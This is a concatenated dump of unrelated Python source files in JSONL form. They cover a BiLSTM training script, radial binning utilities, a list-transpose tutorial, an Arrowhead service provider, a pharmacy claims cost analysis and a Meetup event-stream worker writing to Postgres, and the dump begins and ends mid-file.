args.attention_size\n }\n print(classifier_params)\n\n print('Attention model: self')\n model = SelfAttArgBiLSTM(classifier_params)\n model.setMappings(mappings, embeddings)\n model.setDataset(datasets, data)\n # Path to store performance scores for dev / test\n if args.experiment_name is None:\n results_filename = os.path.join(\n args.output_dirpath,\n '_'.join([args.classifier, str(args.char_embedding)] +\n [str(x) for x in args.num_units])\n )\n else:\n results_filename = os.path.join(args.output_dirpath,\n args.experiment_name + \"_results.txt\")\n model.storeResults(results_filename)\n # Path to store models. We only want to store the best model found until\n # the moment\n model.modelSavePath = os.path.join(\n args.output_dirpath, \"{}_model.h5\".format(args.experiment_name))\n model.fit(epochs=args.epochs)\n\n dataset_name = [x for x in data.keys()][0] # I hate python 3\n label_encoding = {value: key\n for key, value in mappings[args.target_column].items()}\n\n def tag_dataset(partition_name):\n partition_name_short = 'dev' if 'dev' in partition_name else 'test'\n output_filename = os.path.join(\n args.output_dirpath, 'predictions_{}_{}_{}.conll'.format(\n args.experiment_name, dataset_name, partition_name_short))\n\n tags = model.tagSentences(data[dataset_name][partition_name])\n true_labels = []\n result = []\n\n for idx, (sentence, sentence_labels) in enumerate(zip(\n data[dataset_name][partition_name], tags[dataset_name])):\n for token, true_label_id, predicted_label in zip(\n sentence['raw_tokens'], sentence[args.target_column],\n sentence_labels):\n if token == 'PADDING_TOKEN':\n continue\n true_label = label_encoding[true_label_id]\n true_labels.append(true_label)\n result.append((token, true_label, predicted_label, idx))\n\n result = pandas.DataFrame(\n result, columns=['Token', 'True', 'Predicted', 'Sentence'])\n result.to_csv(output_filename, sep='\\t', index=False)\n print(metrics.classification_report(\n \t true_labels, numpy.concatenate(tags[dataset_name])))\n\n tag_dataset('devMatrix')\n tag_dataset('testMatrix')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"experiments/train_SelfAtt_BiLSTM_CNN_CRF.py","file_name":"train_SelfAtt_BiLSTM_CNN_CRF.py","file_ext":"py","file_size_in_byte":6609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"224279953","text":"from scipy.interpolate import interp1d,interp2d,RectBivariateSpline\nimport numpy as np\nimport itertools\n\nclass binning():\n def __init__(self,rmin=0.1,rmax=100,kmax=10,kmin=1.e-4,n_zeros=1000,n_zeros_step=1000,\n j_nu=[0],prune_r=0,prune_log_space=True):\n pass\n\n def bin_utils(self,r=[],r_bins=[],r_dim=2,wt=1,mat_dims=None):\n bu={}\n bu['bin_center']=0.5*(r_bins[1:]+r_bins[:-1])\n bu['n_bins']=len(r_bins)-1\n bu['bin_indx']=np.digitize(r,r_bins)-1\n\n binning_mat=np.zeros((len(r),bu['n_bins']))\n for i in np.arange(len(r)):\n if bu['bin_indx'][i]<0 or bu['bin_indx'][i]>=bu['n_bins']:\n continue\n binning_mat[i,bu['bin_indx'][i]]=1.\n bu['binning_mat']=binning_mat\n\n r2=np.sort(np.unique(np.append(r,r_bins))) #this takes care of problems around bin edges\n dr=np.gradient(r2) #FIXME: Check accuracy\n r2_idx=[i for i in np.arange(len(r2)) if r2[i] in r]\n dr=dr[r2_idx]\n bu['r_dr']=r**(r_dim-1)*dr\n bu['r_dr']*=wt\n bu['norm']=np.dot(bu['r_dr'],binning_mat)\n\n x=np.logical_or(r_bins[1:]<=np.amin(r),r_bins[:-1]>=np.amax(r))\n bu['norm'][x]=np.inf\n# print(bu['norm'])\n\n if mat_dims is not None:\n bu['r_dr_m']={}\n bu['norm_m']={}\n ls=['i','j','k','l','m']\n for ndim in mat_dims:\n s1=ls[0]\n s2=ls[0]\n r_dr_m=np.copy(bu['r_dr'])\n norm_m=np.copy(bu['norm'])\n for i in np.arange(ndim-1):\n s1=s2+','+ls[i+1]\n s2+=ls[i+1]\n r_dr_m=np.einsum(s1+'->'+s2,r_dr_m,bu['r_dr'])#works ok for 2-d case\n norm_m=np.einsum(s1+'->'+s2,norm_m,bu['norm'])#works ok for 2-d case\n bu['r_dr_m'][ndim]=r_dr_m\n bu['norm_m'][ndim]=norm_m\n return bu\n\n def bin_1d(self,xi=[],bin_utils=None):\n xi_b=np.dot(xi*bin_utils['r_dr'],bin_utils['binning_mat'])\n xi_b/=bin_utils['norm']\n return xi_b\n\n def bin_2d(self,cov=[],bin_utils=None):\n #r_dr=bin_utils['r_dr']\n #cov_r_dr=cov*bin_utils['r_dr_m'][2]#np.outer(r_dr,r_dr)\n binning_mat=bin_utils['binning_mat']\n cov_b=np.dot(binning_mat.T, np.dot(cov*bin_utils['r_dr_m'][2],binning_mat) )\n cov_b/=bin_utils['norm_m'][2]\n return cov_b\n\n def bin_mat(self,r=[],mat=[],r_bins=[],r_dim=2,bin_utils=None):#works for cov and skewness\n ndim=len(mat.shape)\n n_bins=bin_utils['n_bins']\n bin_idx=bin_utils['bin_indx']#np.digitize(r,r_bins)-1\n r_dr=bin_utils['r_dr']\n r_dr_m=bin_utils['r_dr_m'][ndim]\n\n mat_int=np.zeros([n_bins]*ndim,dtype='float64')\n norm_int=np.zeros([n_bins]*ndim,dtype='float64')\n\n mat_r_dr=mat*r_dr_m # same as cov_r_dr=cov*np.outer(r_dr,r_dr)\n norm_ijk=bin_utils['norm_m'][ndim]\n for indxs in itertools.product(np.arange(min(bin_idx),n_bins),repeat=ndim):\n x={}#np.zeros_like(mat_r_dr,dtype='bool')\n mat_t=[]\n for nd in np.arange(ndim):\n slc = [slice(None)] * (ndim)\n #x[nd]=bin_idx==indxs[nd]\n slc[nd]=bin_idx==indxs[nd]\n if nd==0:\n mat_t=mat_r_dr[slc]\n else:\n mat_t=mat_t[slc]\n mat_int[indxs]=np.sum(mat_t)\n mat_int/=norm_ijk\n return mat_int\n\n\n\n\n#more basic binning code for testing.\ndef bin_cov(r=[],cov=[],r_bins=[]):\n bin_center=np.sqrt(r_bins[1:]*r_bins[:-1])\n n_bins=len(bin_center)\n cov_int=np.zeros((n_bins,n_bins),dtype='float64')\n bin_idx=np.digitize(r,r_bins)-1\n r2=np.sort(np.unique(np.append(r,r_bins))) #this takes care of problems around bin edges\n dr=np.gradient(r2)\n r2_idx=[i for i in np.arange(len(r2)) if r2[i] in r]\n dr=dr[r2_idx]\n r_dr=r*dr\n cov_r_dr=cov*np.outer(r_dr,r_dr)\n for i in np.arange(min(bin_idx+1),n_bins):\n xi=bin_idx==i\n for j in np.arange(min(bin_idx),n_bins):\n xj=bin_idx==j\n norm_ij=np.sum(r_dr[xi])*np.sum(r_dr[xj])\n if i==j:\n print( i,j,norm_ij)\n if norm_ij==0:\n continue\n cov_int[i][j]=np.sum(cov_r_dr[xi,:][:,xj])/norm_ij\n #cov_int=np.nan_to_num(cov_int)\n# print np.diag(cov_r_dr)\n return cov_int\n","sub_path":"binning.py","file_name":"binning.py","file_ext":"py","file_size_in_byte":4436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"27716909","text":"def solution(mylist):\r\n answer = list(map(list, zip(*mylist)))\r\n print(answer)\r\n\r\n\r\nmylist = [[1,2,3], [4,5,6], [7,8,9]]\r\nsolution(mylist)\r\n\r\n\"\"\"\r\n1. 앞에서도 사용했던 *을 사용해서 이차원 배열을 Unpacking 했다.\r\n2. 이후 zip을 이용해서 각 요소별로 새로이 묶고, list화 시켜서 반환했다.\r\n3. zip은 각 iterables 의 요소들을 모으는 이터레이터를 만들어주는 함수이다.\r\n -> 이를 활용해서, 여러 개의 Iterable을 동시에 순회할 때 사용하거나 두개의 리스트를 합쳐서 딕셔너리를 생성할 때 사용.\r\n\"\"\"","sub_path":"project/프로그래머스/파이썬을 파이썬 답게/2차원 리스트 뒤집기.py","file_name":"2차원 리스트 뒤집기.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"440686927","text":"\"\"\"\nProvider\n\"\"\"\n\nfrom arrowhead_client.client.implementations import SyncClient\n\nprovider = SyncClient.create(\n system_name='provider',\n address='127.0.0.1',\n port=7000,\n keyfile='../certificates/crypto/provider.key',\n certfile='../certificates/crypto/provider.crt',\n cafile='../certificates/crypto/sysop.ca',\n)\n\n@provider.provided_service(\n service_definition='echo',\n service_uri='hello', # https://127.0.0.1:7000/hello\n protocol='HTTP',\n method='GET',\n payload_format='TEXT',\n access_policy='CERTIFICATE', )\ndef echo(request):\n return \"Got it!\"\n\n@provider.provided_service(\n service_definition='all_caps',\n service_uri='all_caps',\n protocol='HTTP',\n method='POST',\n payload_format='JSON',\n access_policy='TOKEN', )\ndef all_caps(request):\n req = request.read_json()\n sentence = req['sentence']\n ret = [word.upper() for word in sentence.split()]\n return {'CAPS': ret}\n\nif __name__ == '__main__':\n provider.run_forever()","sub_path":"clients/provider.py","file_name":"provider.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"105158172","text":"# Necessary imports\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn import preprocessing\nimport statistics as stats\n\n\n# Importing the files as pandas dataframes\ndf_1 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20161101.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\ndf_2 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20161108.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\ndf_3 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20161116.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\ndf_4 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20161122.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\ndf_5 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20161129.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\ndf_6 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20161206.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\ndf_7 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20170110.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\ndf_8 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20170116.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\ndf_9 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20170117.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\ndf_10 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20170124.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\ndf_11 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20170131.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\ndf_12 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20170207.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\ndf_13 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20170214.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\ndf_14 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20170221.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\ndf_15 = pd.read_csv('/Users/joannejordan/Desktop/RxClaims/Rx_BenefitPlan_20170301.csv',\n sep='|', index_col='ClaimID', dtype=str, na_values=['nan', ' ', ' '])\n\n\n# Tracking which file each dataframe came from\ndf_1[\"OriginalDataset\"] = 1\ndf_2[\"OriginalDataset\"] = 2\ndf_3[\"OriginalDataset\"] = 3\ndf_4[\"OriginalDataset\"] = 4\ndf_5[\"OriginalDataset\"] = 5\ndf_6[\"OriginalDataset\"] = 6\ndf_7[\"OriginalDataset\"] = 7\ndf_8[\"OriginalDataset\"] = 8\ndf_9[\"OriginalDataset\"] = 9\ndf_10[\"OriginalDataset\"] = 10\ndf_11[\"OriginalDataset\"] = 11\ndf_12[\"OriginalDataset\"] = 12\ndf_13[\"OriginalDataset\"] = 13\ndf_14[\"OriginalDataset\"] = 14\ndf_15['OriginalDataset'] = 0\n\n\n# Combining all dataframes into one\ndf = pd.concat([df_1, df_2, df_3, df_4, df_5, df_6, df_7, df_8, df_9, df_10,\n df_11, df_12, df_13, df_14, df_15])\n\n\n# Filtering the dataframe to only include processed ('P') claims\ndf_P = df[df.ClaimStatus=='P']\n\n\n# Defining a function to engineer the total cost of a prescription based on 4 available\n# cost metrics--not all of which are provided for each claim\ndef get_total(row):\n if row['IngredientCost'] and row['DispensingFee']:\n cost1 = float(row['IngredientCost']) + float(row['DispensingFee'])\n elif row['IngredientCost']:\n cost1 = float(row['IngredientCost'])\n else:\n cost1 = 0\n\n cost2 = float(row['OutOfPocket']) + float(row['PaidAmount'])\n\n return max(cost1, cost2)\n\n# Implementing the above function to engineer a new feature for the dataframe\ndf_P['TotalCost'] = df_P.apply(lambda row: get_total(row), axis=1)\n\n\n# Some prescriptions resulted in a total cost of less than a dollar. Because this is not\n# consistent with real-world applications and transactions, this is assumed clerical error.\n# Data is filtered for realistic costs\ndf_pos = df_P[df_P.TotalCost > 5]\n\n\n# Deleting commonly empty, corrupt, or unnecessary fields, and dropping rows with\n# unavailable drug information\nrx_info = df_pos.drop(columns=['PharmacyStreetAddress2', 'PrescriberFirstName', 'PresriberLastName',\n 'ClaimStatus']).dropna(subset=['DrugLabelName'])\n\n\n# Define a function to engineer a secondary cost metric to be used in analysis\ndef get_unit_cost(row):\n if float(row['Quantity']) > 0:\n return float(row['TotalCost'])/float(row['Quantity'])\n else:\n return row['TotalCost']\n\n# Applying the function to the dataframe to engineer a cost per dose or Unit Cost feature\nrx_info['UnitCost'] = rx_info.apply(lambda row: get_unit_cost(row), axis=1)\n\n\n# Some zip codes are the 9 digit zip code while others are the more common 5 digit.\n# Defining a function to ensure all zip codes are the 5 digit version\ndef get_zip(row):\n if len(str(row['PharmacyZip'])) > 5:\n return str(row['PharmacyZip'])[:5]\n else:\n return row['PharmacyZip']\n\n# Implementing the function to create a second zip code column\nrx_info['PharmacyZipCode'] = rx_info.apply(lambda row: get_zip(row), axis=1)\n\n\n# Mail order pharmacies are not restricted to specific zip codes, so we encode them\n# with nonexistent zip codes\ndef mail_order_pharm(row):\n if row['MailOrderPharmacy']=='Y':\n return 99999\n else:\n return row['PharmacyZipCode']\n\n# Drop the old (now redundant) PharmacyZip column so we can overwrite it and implement\n# the above function\nrx_info.drop(columns=['PharmacyZip'], inplace=True)\nrx_info['PharmacyZip'] = rx_info.apply(lambda row: mail_order_pharm(row), axis=1)\n\n# Drop the old (now redundant) PharmacyZipCode column\ndrug_names = rx_info.drop(columns=['PharmacyZipCode'])\n\n\n# Get rid of erroneous white space in DrugLabelName\ndrug_names['DrugLabelName'] = drug_names['DrugLabelName'].apply(lambda drug: ' '.join(drug.split()))\n\n# Columns: ['AHFSTherapeuticClassCode', 'CoInsurance', 'CompoundDrugIndicator',\n# 'Copay', 'DAWCode', 'DateFilled', 'DaysSupply', 'Deductible',\n# 'DispensingFee', 'DrugLabelName', 'FillNumber', 'FormularyStatus',\n# 'Generic', 'GroupNumber', 'IngredientCost', 'MailOrderPharmacy',\n# 'MemberID', 'MultisourceIndicator', 'NDCCode', 'OriginalDataset',\n# 'OutOfPocket', 'PBMVendor', 'PaidAmount', 'PaidOrAdjudicatedDate',\n# 'PharmacyCity', 'PharmacyNPI', 'PharmacyName', 'PharmacyNumber',\n# 'PharmacyState', 'PharmacyStreetAddress1', 'PharmacyTaxId',\n# 'PrescriberID', 'Quantity', 'RxNumber', 'SeqNum', 'UnitMeasure',\n# 'punbr_grnbr', 'TotalCost', 'UnitCost', 'PharmacyZip']\n\n\n\n# Simple function to print the cheapest pharmacy for given drug in given zipcode from table.\n# No checks for errors included, mail order drugs not compared.\ndef get_cheapest_pharm(zipcode, drug, table):\n # Filter table by zipcode then drug\n table = table[table.PharmacyZip==str(zipcode)]\n table = table[table.DrugLabelName==str(drug)]\n # Group remaining claims by Pharmacy then take mean of numeric values\n pharmacies = table.groupby(['PharmacyName']).mean()\n # Return pharmacy name for min unit cost\n pharmacy = pharmacies.UnitCost.idxmin()\n # Filter table by pharmacy name so we can print address and city with name\n table = table[table.PharmacyName==pharmacy]\n print('Pharmacy:\\n{}\\nAddress:\\n{}\\n{}'.format(table.PharmacyName.iloc[0],\n table.PharmacyStreetAddress1.iloc[0],\n table.PharmacyCity.iloc[0]))\n\n\n\n\n\n\n\n### Clayton's Code\nprint(df_1.PBMVendor.unique())\nprint(df_1.DrugLabelName.nunique())\n\n# Cheapest PBM Overall\n#\n#\n# Create DF of ['PBMVendor', 'DrugShortName', 'UnitCost'] columns\ncol_list = ['PBMVendor', 'DrugShortName', 'UnitCost']\ndf_pbm_drug_cost = df_1[col_list]\n\n# Separate DF in to 1 DF per PBM\ndf_MedImpact = df_pbm_drug_cost[df_pbm_drug_cost.PBMVendor == 'MedImpact']\ndf_CVSPAL4000 = df_pbm_drug_cost[df_pbm_drug_cost.PBMVendor == 'CVSPAL4000']\ndf_SouthernScripts = df_pbm_drug_cost[df_pbm_drug_cost.PBMVendor == 'SouthernScripts']\n\ndf_Nemop = df_pbm_drug_cost[df_pbm_drug_cost.PBMVendor == 'Nemop']\ndf_Magellan = df_pbm_drug_cost[df_pbm_drug_cost.PBMVendor == 'Magellan']\n\n# Welldyne 11,627 rows\ndf_Welldyne = df_pbm_drug_cost[df_pbm_drug_cost.PBMVendor == 'Welldyne']\n\n# National 1,286 rows\ndf_National = df_pbm_drug_cost[df_pbm_drug_cost.PBMVendor == 'National']\n\n# Envision 89,209 rows\ndf_Envision = df_pbm_drug_cost[df_pbm_drug_cost.PBMVendor == 'Envision']\ndf_Medco = df_pbm_drug_cost[df_pbm_drug_cost.PBMVendor == 'Medco']\n\n# Finds Intersection of DrugShortName for each PBM in df_1\nall_drugs = (set(df_MedImpact.DrugShortName.values) and\n set(df_CVSPAL4000.DrugShortName.values) and\n set(df_SouthernScripts.DrugShortName.values) and\n set(df_Nemop.DrugShortName.values) and\n set(df_Magellan.DrugShortName.values) and\n set(df_Welldyne.DrugShortName.values) and\n set(df_National.DrugShortName.values) and\n set(df_Envision.DrugShortName.values) and\n set(df_Medco.DrugShortName.values));\n\n# Filter so only those drugs exist in each PMB DF\ndf_MedImpact = df_MedImpact[df_MedImpact['DrugShortName'].isin(all_drugs)]\ndf_CVSPAL4000 = df_CVSPAL4000[df_CVSPAL4000['DrugShortName'].isin(all_drugs)]\ndf_SouthernScripts = df_SouthernScripts[df_SouthernScripts['DrugShortName'].isin(all_drugs)]\n\ndf_Nemop = df_Nemop[df_Nemop['DrugShortName'].isin(all_drugs)]\ndf_Magellan = df_Magellan[df_Magellan['DrugShortName'].isin(all_drugs)]\ndf_Welldyne = df_Welldyne[df_Welldyne['DrugShortName'].isin(all_drugs)]\n\ndf_National = df_National[df_National['DrugShortName'].isin(all_drugs)]\ndf_Envision = df_Envision[df_Envision['DrugShortName'].isin(all_drugs)]\ndf_Medco = df_Medco[df_Medco['DrugShortName'].isin(all_drugs)]\n\n# For EACH drug, find PBM with lowest cost\n# Average drug UnitCost for each drug per PBM\n# UC = UnitCost\ndf_MedImpact_avg_UC = df_MedImpact.groupby(['DrugShortName'], as_index=False)['UnitCost'].mean()\ndf_CVSPAL4000_avg_UC = df_CVSPAL4000.groupby(['DrugShortName'], as_index=False)['UnitCost'].mean()\ndf_SouthernScripts_avg_UC = df_SouthernScripts.groupby(['DrugShortName'], as_index=False)['UnitCost'].mean()\n\ndf_Nemop_avg_UC = df_Nemop.groupby(['DrugShortName'], as_index=False)['UnitCost'].mean()\ndf_Magellan_avg_UC = df_Magellan.groupby(['DrugShortName'], as_index=False)['UnitCost'].mean()\ndf_Welldyne_avg_UC = df_Welldyne.groupby(['DrugShortName'], as_index=False)['UnitCost'].mean()\n\ndf_National_avg_UC = df_National.groupby(['DrugShortName'], as_index=False)['UnitCost'].mean()\ndf_Envision_avg_UC = df_Envision.groupby(['DrugShortName'], as_index=False)['UnitCost'].mean()\ndf_Medco_avg_UC = df_Medco.groupby(['DrugShortName'], as_index=False)['UnitCost'].mean()\n\n# UnitCost avg of all drugs PER PBM\n\n# Total # of Rows: 3,660,707\n\n# 393,816 rows with df_1.PBMVendor == MedImpact\ndf_MedImpact_avg_UC['UnitCost'].mean()\n# DrugLabelName: 71.75219318813778\n# DrugShortName: 64.44488749956898\n\n# 2,455,032 rows with df_1.PBMVendor == CVSPAL4000\ndf_CVSPAL4000_avg_UC['UnitCost'].mean()\n# DrugLabelName: 61.51118988815909\n# DrugShortName: 89.12452585515857\n\n# 15,225 rows with df_1.PBMVendor == SouthernScripts\ndf_SouthernScripts_avg_UC['UnitCost'].mean()\n# DrugLabelName: 0.792625\n# DrugShortName: 1.5449279328165377\n\n# 4,657 rows with df_1.PBMVendor == Nemop\ndf_Nemop_avg_UC['UnitCost'].mean()\n# DrugLabelName: 32.01\n# DrugShortName: 9.555713468720821\n\n# 95,969 rows with df_1.PBMVendor == Magellan\ndf_Magellan_avg_UC['UnitCost'].mean()\n# DrugLabelName: 6.531493055555555\n# DrugShortName: 47.544123990240315\n\n# 11,627 rows with df_1.PBMVendor == Welldyne\ndf_Welldyne_avg_UC['UnitCost'].mean()\n# DrugLabelName: nan\n# DrugShortName: 203.62729668974353\n\n# 1,286 rows with df_1.PBMVendor == National\ndf_National_avg_UC['UnitCost'].mean()\n# DrugLabelName: nan\n# DrugShortName: 11.161770536432297\n\n# 89,209 rows with df_1.PBMVendor == Envision\ndf_Envision_avg_UC['UnitCost'].mean()\n# DrugLabelName: nan\n# DrugShortName: 95.13871288531323\n\n# 593,886 rows with df_1.PBMVendor == Medco\ndf_Medco_avg_UC['UnitCost'].mean()\n# DrugLabelName: 95.43536290363183\n# DrugShortName: 100.33072460418295\n\n######## VISUALIZATIONS\n\n######## Bar Chart Showing Average UnitCost per PBMVendor\n# Lowest bar means Cheapest PBMVendor\ndf_AvgUnitCost_per_PBM = pd.DataFrame({'PBMVendor':['MedImpact\\n:Rows:393,816',\n 'CVSPAL4000\\n:Rows:2,455,032',\n 'Magellan\\n:Rows:95,969',\n 'Envision\\n:Rows:89,209',\n 'Medco\\n:Rows:593,886'],\n 'AvgUnitCost':[64.42,\n 89.12,\n 47.54,\n 95.13,\n 100.32]})\n\ndf_AvgUnitCost_per_PBM = df_AvgUnitCost_per_PBM.reindex_axis(['PBMVendor','AvgUnitCost'], axis=1)\n\nprint(\"For the mean of all drugs UnitCost per PBM, Magellan has the lowest average. Magellan is arguably the Cheapest PBM Overall.\")\ndf_AvgUnitCost_per_PBM.plot.bar(x='PBMVendor', y='AvgUnitCost', rot=15)\n\n####### PIE CHART\n# For what percentage of rows in data set belong to each PBMVendor\n#\nprint(\"Data set has a total of 3,660,707 rows.\")\nprint(\"This Pie Chart shows what percentage of rows in the data set belong to each PBMVendor. 4 PBMVendors have been removed from original data set that had < 16,000 rows of data. That is too small to count on.\")\n\n# PBMs with less than 16,000 rows are removed\n\n# Pie chart, where the slices will be ordered and plotted counter-clockwise:\nlabels = 'MedImpact', 'CVSPAL4000', 'Magellan', 'Envision', 'Medco'\nsizes = [393816, 2455032, 95969, 89209, 593886]\n# explode = (0, 0.1, 0, 0)\n\nfig1, ax1 = plt.subplots()\nax1.pie(sizes, labels=labels, autopct='%1.1f%%',\n shadow=True, startangle=90)\nax1.axis('equal') # Equal aspect ratio ensures that pie is drawn as a circle.\n\nplt.show()\n","sub_path":"production.py","file_name":"production.py","file_ext":"py","file_size_in_byte":14520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"624669309","text":"# coding=utf-8\nimport time\nimport sys\nimport socket\nimport psycopg2\nfrom psycopg2.extensions import AsIs\n\nimport requests\nimport os\nfrom retrying import retry\nimport logging\n\nfrom utils import clean_json\n\n\nclass Worker:\n \"\"\"TODO: Document this class\"\"\"\n sleep_secs = 1\n\n # http://arstechnica.com/information-technology/2010/04/tutorial-use-twitters-new-real-time-stream-api-in-python/2/\n STREAM_URL = \"http://stream.meetup.com/2/open_events?since_count=5000\"\n\n def __init__(self, db=None):\n if db is None:\n raise Exception('You must pass in a valid psycopg2 database connection')\n\n self.db = db\n\n def attach(self):\n \"\"\"Connect to the remote API and start processing data\"\"\"\n while True:\n try:\n r = requests.get(self.STREAM_URL, stream=True, timeout=300)\n for line in r.iter_lines():\n if line:\n self.on_receive(line)\n\n except requests.exceptions.ChunkedEncodingError:\n logging.error(\"CHUNKED ENCODING: Incomplete read\")\n r.close()\n self.sleep()\n\n except requests.exceptions.ConnectionError:\n logging.error(\"TIMEOUT: Server did not send response \\\n for over 300 seconds. Will sleep %s secs in \\\n next iteration.\", self.sleep_secs*2)\n r.close()\n self.sleep()\n\n except socket.error:\n logging.error(\"SOCKET: Most likely connection reset by peer\")\n self.sleep()\n\n def on_receive(self, data):\n \"\"\"TODO: Document Worker.on_receive()\"\"\"\n try:\n content = clean_json(data)\n [self.process_event(i) for i in content]\n\n except ValueError as e:\n self.process_error(str(e), 'no payload')\n\n def sleep(self):\n \"\"\"Custom sleep timer for used when connecting to API.\n Exponential backoff up to 256 seconds then resets\"\"\"\n\n time.sleep(self.sleep_secs)\n self.sleep_secs *= 2\n if self.sleep_secs > 256:\n self.sleep_secs = 1\n\n def get_or_create_meetup_group(self, e):\n \"\"\"Given the urlname, retreive the meetup group.\n If it does not exit then create it\"\"\"\n\n urlname = e['group']['urlname']\n name = e['group']['name']\n\n cur = self.db.cursor()\n query = \"SELECT id FROM tech_events_meetupgroup WHERE url = %s LIMIT 1\"\n cur.execute(query, (urlname,))\n\n if cur.rowcount == 0:\n query = \"\"\"INSERT INTO tech_events_meetupgroup\n (url, name, location, is_blacklisted)\n VALUES\n (%s, %s, %s, %s)\n RETURNING id\n \"\"\"\n\n url = urlname\n name = (name[:190] + '..') if len(name) > 190 else name\n location = 'srid=4326;POINT(%s %s)' % (e['group']['group_lon'], e['group']['group_lat']),\n is_blacklisted = False\n\n cur.execute(query, (url, name, location, is_blacklisted,))\n\n return cur.fetchone()[0]\n\n def save_event(self, e):\n \"\"\"Save an event to the database\"\"\"\n\n # process event and format to dict\n event = self.format_event(e)\n\n # attach the meetup_group to the event\n event['meetup_group_id'] = self.get_or_create_meetup_group(e)\n\n # get the tech event\n cur = self.db.cursor()\n cur.execute('SELECT * FROM tech_events_techevent WHERE uniqid = %s', (e['id'],))\n\n # if tech event does not exist, then we insert, else we update\n if cur.rowcount == 0:\n columns = ', '.join(event.keys())\n vals = tuple(event.values())\n cur.execute(\"INSERT INTO tech_events_techevent (%s) VALUES %s\",\n (AsIs(columns), vals,))\n else:\n updates = ', '.join(['%s = %%(%s)s' % (k, k) for k in event.keys() if k != 'uniqid'])\n query = \"UPDATE tech_events_techevent SET %s WHERE uniqid = %%(uniqid)s\" % updates\n cur.execute(query, event)\n\n def format_event(self, e):\n \"\"\"Process venue information\"\"\"\n if 'venue' in e:\n v = e['venue']\n address = '%s %s %s' % (\n v.get('address_1', ''),\n v.get('address_2', ''),\n v.get('address_3', '')\n )\n city = v.get('city', '')\n postal_code = v.get('zip', '')\n country = v.get('country', '')\n location = (v.get('lon', '0.0'), v.get('lat', '0.0'))\n else:\n address = 'See event listing for location info'\n city = ''\n postal_code = ''\n country = ''\n location = (e['group']['group_lon'], e['group']['group_lat'])\n\n # we trim the string lengths to avoid DB errors\n return {\n 'uniqid': e['id'][:50],\n 'name': e['group']['name'][:255],\n 'url': e['event_url'][:200],\n\n # TODO - make this adjusted for timezones as well\n 'begin_time': time.strftime('%Y-%m-%d %H:%M:%S', time.gmtime(e.get('time')/1000.0)),\n 'source': 'MU',\n 'is_active': True,\n 'meetup_group_id': None,\n 'address': address[:255],\n 'city': city[:100],\n 'postal_code': postal_code[:20],\n 'country': country[:50],\n 'location': 'srid=4326;POINT(%s %s)' % location\n }\n\n def delete_event(self, e):\n \"\"\"Delete an event from the database, usually called when the delete\n event comes from the api\"\"\"\n\n cur = self.db.cursor()\n cur.execute(\"DELETE FROM tech_events_techevent WHERE uniqid = %s\", (e['id'],))\n\n if cur.rowcount > 0:\n logging.info(\"Deleted event: %s - %s\" % (e['id'], e['group']['name']))\n\n def process_event(self, e):\n \"\"\"Called each time there is new data coming in from the long HTTP\n poll process\"\"\"\n\n status = e['status']\n if status in ['canceled', 'deleted']:\n self.delete_event(e)\n else:\n try:\n if status == 'upcoming' and \\\n e['group']['category']['shortname'] == 'tech':\n\n self.save_event(e)\n logging.info(\"Processed '%s'\" % e['group']['urlname'])\n except KeyError:\n logging.error('Something happened', e)\n logging.error(e)\n\n def process_error(self, message, payload):\n \"\"\"Log any errors it receives\"\"\"\n logging.error(\"PARSE ERROR (%s) - (%s)\", message, payload)\n\n cur = self.db.cursor()\n query = \"\"\"INSERT INTO tech_events_parseerror\n (error_message, payload, created_at, is_resolved)\n VALUES (%s, %s, %s, %s)\"\"\"\n cur.execute(query, (message, payload, 'NOW()', False))\n\n\n# use a simple, blocking decorator to get a connection to the database\n# Wait 2^x * 1000 milliseconds between each retry, up to 10 seconds, then 10 seconds afterwards\n@retry(wait_exponential_multiplier=1000, wait_exponential_max=10000)\ndef 